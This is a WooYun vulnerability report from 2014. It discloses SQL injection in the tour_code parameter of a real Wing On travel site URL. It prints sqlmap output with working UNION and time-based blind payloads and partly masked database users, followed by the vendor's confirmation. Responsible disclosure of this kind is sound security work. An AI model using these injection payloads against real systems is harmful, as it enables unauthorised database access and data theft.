当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-076882

漏洞标题：永安#某点SQL注入一枚

相关厂商：wingonet.com

漏洞作者： 爱上平顶山

提交时间：2014-09-22 15:52

修复时间：2014-11-11 16:12

公开时间：2014-11-11 16:12

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-22： 该漏洞正等待厂商内部评估
2014-09-22： 厂商已经确认，与白帽子共同解决该漏洞中，漏洞信息仅向厂商公开
2014-10-12： 细节向核心白帽子及相关领域专家公开
2014-10-22： 细节向普通白帽子公开
2014-11-01： 细节向实习白帽子公开
2014-11-11： 细节向公众公开

简要描述：

0.0
没事 冒个泡~

详细说明：

永安
点： Google发现的
http://res1.wingontravel.com/pdf/main.php?tour_code=JSC05U

0.jpg


0.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: tour_code
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: tour_code=ESC11M' LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a7365763a,0x61727a746265546e746b,0x3a756f6d3a)#
Vector: UNION ALL SELECT [QUERY]#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: tour_code=ESC11M' AND SLEEP(5) AND 'icso'='icso
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
database management system users [7]:

mask 区域 
*****'loc*****
*****localhoyt.lo*****
*****9;@'lo*****
*****'@*****
*****;@'12*****
*****;@'lo*****
*****9;localhost.l*****


OK、

漏洞证明：

如上~

修复方案：

过滤~

版权声明：转载请注明来源 爱上平顶山@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-09-22 16:11

厂商回复：

漏洞已确认真实存在，并已安排人处理。

最新状态：

暂无

漏洞评价：

评论